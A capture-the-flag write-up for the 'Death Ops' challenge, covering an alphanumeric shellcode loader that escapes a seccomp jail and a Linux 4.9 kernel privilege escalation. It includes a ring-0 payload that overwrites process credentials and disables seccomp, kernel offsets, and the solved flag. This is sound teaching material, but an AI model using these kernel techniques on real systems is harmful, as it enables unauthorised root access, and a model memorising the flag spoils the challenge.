Death Ops
96 bytes of alphanumeric loader out of a seccomp jail, then a kernel LPE built on a char device that allows exactly two arbitrary writes.
pwnsec{803ee50676a5e9de} A classified black-operations terminal is running inside. Can you break the system, and escape from the security sandbox. WARNING!! this chall is 2 staged.
Two stages, as advertised: an alphanumeric-shellcode/seccomp jail in userland, then a Linux 4.9.333 kernel LPE through a deliberately crippled char device.
1. Target
dist/bzImage Linux 4.9.333, cmdline: console=ttyS0 oops=panic panic=1 kaslr pti=on quiet
dist/rootfs.cpio.gz initramfs: /init, /blackops, /shadowops.ko, busybox
run-qemu.sh qemu-system-x86_64 -m 256M ... (default `qemu64` CPU!)
/init (relevant parts):
FLAG_NAME="flag-$(head -c 4 /dev/urandom | od -A n -t x | tr -d ' ').txt"
cat /flag > "/$FLAG_NAME"; rm -f /flag; chmod 600 "/$FLAG_NAME"
insmod /shadowops.ko
chmod 222 /dev/shadowops # write-only
exec su -s /bin/sh -c '/blackops' ctf # PID 1 runs as uid 1000
The flag name is randomised, so the goal is really a root shell, not a hardcoded open().
blackops (uid 1000, PID 1)
- [1] INTEL EXTRACTION — reads one arbitrary file, once ever (
intel_usedlatch), rejects paths containingflag, prints the first 4096 bytes. This is the KASLR oracle. - [2] PAYLOAD DEPLOYMENT —
prctl(PR_SET_NO_NEW_PRIVS),prctl(PR_SET_SECCOMP, FILTER, …)read(0, buf, 96), every byte must satisfy[A-Za-z0-9]memcpy(rwx_buf, buf, n); call rwx_buf—rwx_bufis a 4 KBPROT_READ|WRITE|EXECmmap, andrax == rwx_bufon entry.
ops_fd = open("/dev/shadowops", O_WRONLY) happens before the sandbox, so fd 3 survives into the jail.
Decoded BPF filter (10 instructions):
A = arch; if (A != AUDIT_ARCH_X86_64) KILL
A = nr; if (A in {0 read, 1 write, 60 exit, 231 exit_group}) ALLOW
KILL
shadowops.ko
static int used, opened;
shadowops_write(file, buf, count, pos):
if (count != 16) return -EINVAL;
if ((old = xadd(&used, 1)) + 1 > 2) return -EACCES; /* signed! */
copy_from_user(kbuf, buf, 16);
*(u64 *)kbuf[0] = kbuf[1]; /* arbitrary write */
return 16;
An 8-byte write-what-where — but the counter only allows two of them (off-by-one: 0→1 and 1→2 both pass).
2. Stage 1 — 96 bytes of alphanumeric loader
Entry state: rax = rwx_buf, page aligned, so al == 0.
The trick is that syscall (0f 05) is not alphanumeric, so it has to be written by alnum instructions and then fallen into. Useful alnum opcodes:
| bytes | meaning |
|---|---|
50 59 (PY) | push rax ; pop rcx → rcx = rwx_buf |
34 ii (4x) | xor al, imm8 |
30 41 dd (0A?) | xor byte [rcx+disp8], al |
6b /r dd ii (k??) | imul r32, [rcx+disp8], imm8 |
50 58 (PX) | push rax ; pop rax = 2-byte nop |
Note only bytes < 0x80 can ever be produced (al starts at 0 and is only ever xored with alnum values), which rules out writing eb/e9 jumps — the loader has to fall through into the stub.
Layout of the 96 bytes sent:
0x00..0x1c functional code (PY + 3x{xor al,imm; xor [rcx+d],al} + 3x imul)
0x1d..0x2e 'PX' / 'HPX' padding
0x2f 'Q' push rcx (arg for the pop below)
0x30..0x32 three alnum placeholders, rewritten at run time to
5e pop rsi ; rsi = rwx_buf
0f 05 syscall ; read(0, rwx_buf, BIG)
0x33..0x5f push/pop sled (also holds the multiplier constant)
rdi = 0 and rax = 0 come from imul r32, [rcx+0x64], 'A' — offset 0x64 is past the 96 copied bytes and therefore still zeroed mmap memory. rdx (the read length) is imul edx, [rcx+0x41], imm over four sled bytes chosen so the product is a comfortable size.
After the syscall, execution simply falls through to rwx_buf+0x33, which by then holds freshly read stage-2 bytes. Stage 2 is prefixed with 0x33 nops so that a short read (the QEMU 16550 only feeds 16 bytes per burst) still lands inside a nop sled, and the leftover sled bytes of stage 1 are harmless push/pop pairs for the same reason.
3. Stage 2 — one write to rule them all
The dead ends (worth recording)
- ret2usr is dead.
qemu64has no SMEP (CR4=0x670) and no SMAP, but the 4.9 KAISER backport marks the user half NX in the kernel page tables. Jumping a hijacked kernel function pointer at the RWX page givesv=0e e=0011— present + instruction fetch — in-d int. Kernel.text,.dataand.bssare all NX/RO too, andsys_call_tablesits in.rodata. - No stack pivot. Scanning the whole image for
mov/lea rsp, …; retyields onlyrbp/r8/r10-based gadgets — none of those registers is attacker controlled at any writable function pointer. core_patternneeds 17+ bytes.|/bin/sh /dev/consoleworks beautifully (verified: the coredump helper is root and the kernel blocks filling the 64 KB pipe, so the helper lives forever), but usermodehelpers have no fd 0/1/2, so a script path is mandatory and 2 writes only buy 16 bytes.%h/hostname substitution was brute-forced too — no solution.- Overflowing
usedworks but is too slow. Every rejected write still executes thexadd, so ~2^31 failing writes wrap it negative and re-enable the primitive forever. Measured on the real instance: ~14k syscalls/s (no KVM) → ≈42 h. Fine as a proof, useless in a 24 h CTF.
The actual bug: the module is RWX
The kernel exports no set_section_ro_nx / frob_text / module_enable_ro symbols → CONFIG_DEBUG_SET_MODULE_RONX=n, so module_alloc() memory stays PAGE_KERNEL_EXEC — read/write/execute — and the two-page allocation leaves ~3 KB of unused tail after the 4356-byte module.
That turns the single bootstrap write into everything:
- INTEL EXTRACTION on
/proc/modules(kptr_restrict=0, so uid 1000 sees the real base):
shadowops 4356 0 - Live 0xffffffffc0127000 (O)
- Write #1:
*(u64 *)(base + 0xcd0) = 0x0000000080000000→used = INT_MIN,opened = 0.used + 1 > 2is a signed compare, so it never trips again → unlimited arbitrary writes. - Copy a 166-byte ring-0 payload into
base + 0x1200(unused RWX tail), 8 bytes per write. - Patch the entry of
shadowops_write(base + 0x30) withe9 <rel32> 90 90 90— a jump to the payload. This write goes through the old code, which only touches bytes it has already executed. - One more
write(3, …, 16)now executes the payload in ring 0.
The ring-0 payload
mov rax, gs:[0x14b40] ; current_task (percpu offset, link-time const)
lea rdi, [rax+0x500]
mov r9, 0x73706f6b63616c62 ; "blackops"
scan: ; locate comm instead of trusting an offset
cmp r9, [rdi] ; je found ; add rdi,8 ; … ; jb scan
found:
mov rbx, [rdi-8] ; cred (= task+0x610)
call zero_ids ; uid..fsgid = 0, all caps = ~0
mov rbx, [rdi-16] ; real_cred (= task+0x608)
call zero_ids
and qword [rax+0], -257 ; clear TIF_SECCOMP (thread_info.flags, bit 8)
mov qword [rdi+0xb8], 0 ; seccomp.mode = DISABLED (= task+0x6d0)
mov eax, 16 ; ret
Clearing TIF_SECCOMP alone is not enough: copy_seccomp() re-arms the flag on every fork() while seccomp.mode != DISABLED, so the first cat still died with Bad system call. Zeroing the mode fixes it.
Finally, back in userland (now root, unsandboxed):
execve("/bin/sh", {"/bin/sh", "-c",
"cat /flag*.txt; ls -la /; exec /bin/sh", NULL}, NULL);
argv must be a real vector — busybox reads argv[0] to pick the applet and answers : applet not found if you pass NULL.
4. Constants
Derived offline from vmlinux and confirmed at run time with QEMU’s gdbstub.
| symbol | value |
|---|---|
current_task | gs:0x14b40 |
task.thread_info.flags | +0x000 (THREAD_INFO_IN_TASK=y, 16-byte ti) |
task.state / .stack | +0x010 / +0x018 |
task.real_cred / .cred / .comm | +0x608 / +0x610 / +0x618 |
task.seccomp | +0x6d0 (comm+0xb8) |
task.tasks | +0x368 |
module shadowops_write | base+0x30 |
module used / opened | base+0xcd0 / base+0xcd4 |
| module free RWX tail | base+0x1104 … +0x1fff |
init_task (kernel base rel.) | +0x10114c0 |
init_cred | +0x1048320 |
core_pattern | +0x10674e0 |
serial8250_ports | +0x1355120, port.serial_out at +0x20 |
serial8250_ports[0].port.serial_out is the writable function pointer used during the (abandoned) ret2usr attempt — every byte written to stdout goes through mov rax,[rbx+0x20]; call __x86_indirect_thunk_rax, which makes it a very convenient “call any kernel function with rdi = &port” primitive if you ever need one on this kernel.
5. Run
$ python3 exp/exp2.py <host>:443
[+] shadowops.ko = 0xffffffffc0112000
[*] used=0xffffffffc0112cd0 scratch=0xffffffffc0113200 write=0xffffffffc0112030
[*] ring0=166B packets=23 main=640B
[+] kernel writes done
[+] ring-0 payload executed -> root, seccomp off
pwnsec{803ee50676a5e9de}
Files: exp/exp2.py (exploit), exp/alnum2.py (alphanumeric stage 1), exp/casm.py (clang-based assembler), exp/rsp.py (gdbstub client used for offset hunting).